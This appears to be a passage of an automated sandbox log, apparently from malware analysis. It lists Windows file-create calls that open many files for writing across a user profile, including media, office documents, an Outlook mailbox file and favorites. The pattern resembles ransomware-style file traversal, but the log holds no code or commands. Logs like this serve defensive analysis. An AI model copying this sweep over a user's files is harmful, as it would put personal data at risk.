Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\vGLyTV3-l9LaIg.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\WeVqD nbZp92oNA.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\wvHO9AOpGnVIgBmE4Z.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\xAv5C.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\y5PNwRSJ-BzEU_pWoMG7.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\zlWIzi2Amt.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\vs4jAA0 zd1HqzIZFr.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Searches\Everywhere.search-ms desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Searches\Indexed Locations.search-ms desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\-8vn9TCLWYBRe.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\dDZIFmz5oUjH6dudt.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\iLHPbBavnh_-fnnaZkXR.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\wxzc0rq6VHwTta.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\_6jk0hB.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\1i2rrq2gY8nQI1n1s3.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\2i1vmdTQBze3Oqp_rHR.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\2q_u.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\5Ka6.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\FDSheH9RWpg6rD.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\km4Z_piC-Thg5BA.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\kwu4Zgrqa-j.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\L2lRvkk38ZbjI6t.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\m 3MWBBW.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\QdsM.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\seA7TG2NfEjVmCk47L.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\tAm2MqanHQ.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\UFvFkY3N9hbJPN MXkkx.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\wYQXyL4TNJyXDwt.xls desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\XECTs3JItZ.pps desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\_vK1Qkjp_rOYPZZA.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\Favorites.vss desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\cWhuivOd.ods desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\IrPWAmnZ4jkLi8.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\nI-a EyZHIqzRrkt2.pdf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\oyegcKVpN.pdf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\qHHCf1DuRREhYQ07.ods desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\S5Y2z-QfT_jhbg-.doc desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Outlook Files\voeimd@djhreuu.uhd.pst desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Suggested Sites.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Web Slice Gallery.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE Add-on site.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE site on Microsoft.com.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Home.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Work.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft Store.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Autos.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Entertainment.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Money.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Sports.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSNBC News.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Get Windows Live.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Gallery.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Mail.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Spaces.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\0Qf-sRlRO YRMK9.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\6HV_cSvNUwVhwYq.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\953YBi3u.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\IDiIl91AYgIq7HA6_.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\PO7Eqm6 3wk.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\rrjW-8lVtAyz6CB c58F.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\TvM2NRbZu cHPtd OkbD.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\TvY6pS.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\YkQ2Zd.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\ZN52hee3SS1DkjLr.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\benH5y2SX1xIrg0bSF.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\cemw.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iCs-vS.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iKO7d8t_cC0UV.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\IthrlB_pUrgCwH3pRgGO.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iWxzhwPIqb5mZjuvcv.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\lQDTQxNwKpz.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\M-cTe5oTGVM6J9Ms.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\neGejl7TOddT.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\SoXdS.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\ttPbZm5ivBn SG4OL.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\W 8TSw1xhJnpWHI.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\_5Qx7lEGVjKpdcq.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\1E-1x-bA_f\0pL6.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\1E-1x-bA_f\gWv1KyJiGPxpOMqL3.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\-zbo jfn3hfrTF0uU6.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\qHB6k1yx.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\-UgYo9aAU h.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\e77CID6eVsb.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\vBaKWI7Uy49TuUWs.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\7zbK-lw.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\M8EaxMEcyaid.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\Re_R5.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\s3BE.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\_private\folder.ico desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\4stR3pzmU2IjQjPCv2.pps desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\8eSNutIhoJBu4xJsfd.odp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\9iXgtByQq.doc desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\bv9GJsGpfm.odt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\c1Jyfiy2PqeG94Rl8.ods desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\p-btCK5P5-k.odt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\P7n5oLz_D.ods desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\vRok2UtD99B94w3KRv.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\DpUR93 xREUOdJVi.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\HUu e.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\nf3YcZ LLVZ7 8gtH.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\4p5iJ0lNQ.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\LWp5__rH.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\nw RAVZ-b0JJW.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\S FkKZQLF_GPV0N.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\VkA9WpG3QP_KI.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\3e8LyOG.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\5Hyv.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\NHai0BU309Bkv-O-.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\OwRMCKP7D2.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\USkdPbJMi5.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nhszPrwAyFP3\nIoWGznt2.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
